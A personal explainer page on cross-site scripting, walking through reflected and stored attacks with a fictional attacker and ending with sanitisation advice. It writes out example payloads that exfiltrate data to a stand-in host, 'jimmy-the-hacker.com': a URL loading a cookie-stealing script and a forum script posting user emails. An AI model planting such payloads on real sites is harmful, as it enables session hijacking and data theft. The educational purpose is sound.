sajad torkamani

In a nutshell

Cross-site-scripting (XSS) is when attackers inject client-side scripts into web pages viewed by other users. By injecting their code into client-side scripts, the attacker’s code can bypass the same-origin policy and gain elevated access privileges to sensitive page content or to session cookies (which can then be used in session hijacking attacks).

Types of XSS attacks

Non-persistent (reflected)

This is when the data provided by a web client, commonly in HTTP query params as part of a form submission, is used by server-side scripts to parse and display a page of results to that user, without the server properly sanitizing the content.

Here’s an example of this exploit:

  1. Alice regularly visits cutepuppies.com. This website allows Alice to login with a username and password, and stores sensitive data such as the user’s billing information. When the user logs in, the server creates an authorization cookie, sends it to the browser, and the browser stores this to identify the logged in user.
  2. Jimmy notices that cutepuppies.com has an XSS vulnerability. He visits the search page, inputs a search term (e.g., “cats”), and clicks the submit button. If no results are found, the page displays cats not found and the URL is something like https://cutepuppies.com/search?q=cats. This is normal behaviour.
  3. But when Jimmy submits a search query like <script>alert('Haha');</script>, the search results page executes his script to show an alert box. Jimmy learns that this search page will execute whatever query he passes as part of the URL. There’s no sanitization of user input.
  4. Jimmy changes the URL to https://cutepuppies.com/search?q=cats%3Cscript%2520src=%22http://jimmy-the-hacker.com/steal-auth-cookie.js%22%3E%3C/script%3E'.
  5. Jimmy sends emails to unsuspecting cat lovers saying “Check out some cute puppies”.
  6. Alice is one victim. She clicks the link, is taken to the search results page, and the browser loads and executes Jimmy’s script. Alice doesn’t know what happened because the script runs in the background.
  7. Because the steal-auth-cookie.js script ran in Alice’s browser as if it originated from cutepuppies.com, it can bypass browser security rules and grab Alice’s authorization cookie (need to verify this is possible). The authorization cookie is sent to Jimmy server.
  8. Jimy uses the cookie to login as Alice where he can look up her billing information and do other damage.

This attack could have been prevented if the server sanitized the search input.

Persistent (or stored)

This is when data provided by an attacker is saved by the server, and then displayed on pages shown to other users, without proper HTML sanitizing.

For example, suppose there’s a forum website where the email addresses of other users are kept anonymous for privacy reasons. Users can only see their own email address which is shown at the top right of the website.

Suppose that Jimmy, an attacker, joins the forum and wants to find out the email addresses of other users. To do this, he posts a message to the forum that contains a script like this:

<p>Hello guys, my name is Jimmy. Nice to meet you.</p>

<script>
  const username = document.querySelector('.username')
  const email = document.querySelector('.user-email')
  
 $.post('https://jimmy-the-hacker.com/store-forum-email, {
   username: username,
   email: email,
   hackedAt: new Date()
  })
</script>

Because Jimmy’s malicious script is enclosed within a <script> tag, it won’t be shown on the screen. Now, suppose that Alice is browsing through the forum and visits a page that contains Jimmy’s message. The browser will automatically execute Jimmy’s message and Alice’s email will be sent to Jimmy’s server!

The worst thing is that nobody knows any better. The script runs silently in the background.

This attack could have been prevented if the server always sanitized user messages at the point of creation so that dangerous tags like <script> were never stored.

If the webpage was a JavaScript application that fetched data from a third-party service, the JavaScript application could have sanitized the message on the client-side (using something like DOMPurify) before rendering it, instead of rendering it as it was.

Other notes

Sources